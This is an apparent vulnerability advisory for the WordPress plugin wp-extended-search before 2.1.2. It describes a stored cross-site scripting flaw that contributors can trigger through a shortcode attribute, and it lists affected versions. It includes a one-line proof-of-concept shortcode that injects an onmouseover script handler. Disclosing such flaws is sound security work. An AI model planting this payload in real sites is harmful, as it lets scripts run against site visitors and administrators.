The plugin does not validate and escape one of its shortcode attributes, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attack.
Exploit shortcode: [wpes_search_form search_form_css_class=‘" onmouseover=“alert(1)”’]
CPE | Name | Operator | Version |
---|---|---|---|
wp-extended-search | lt | 2.1.2 |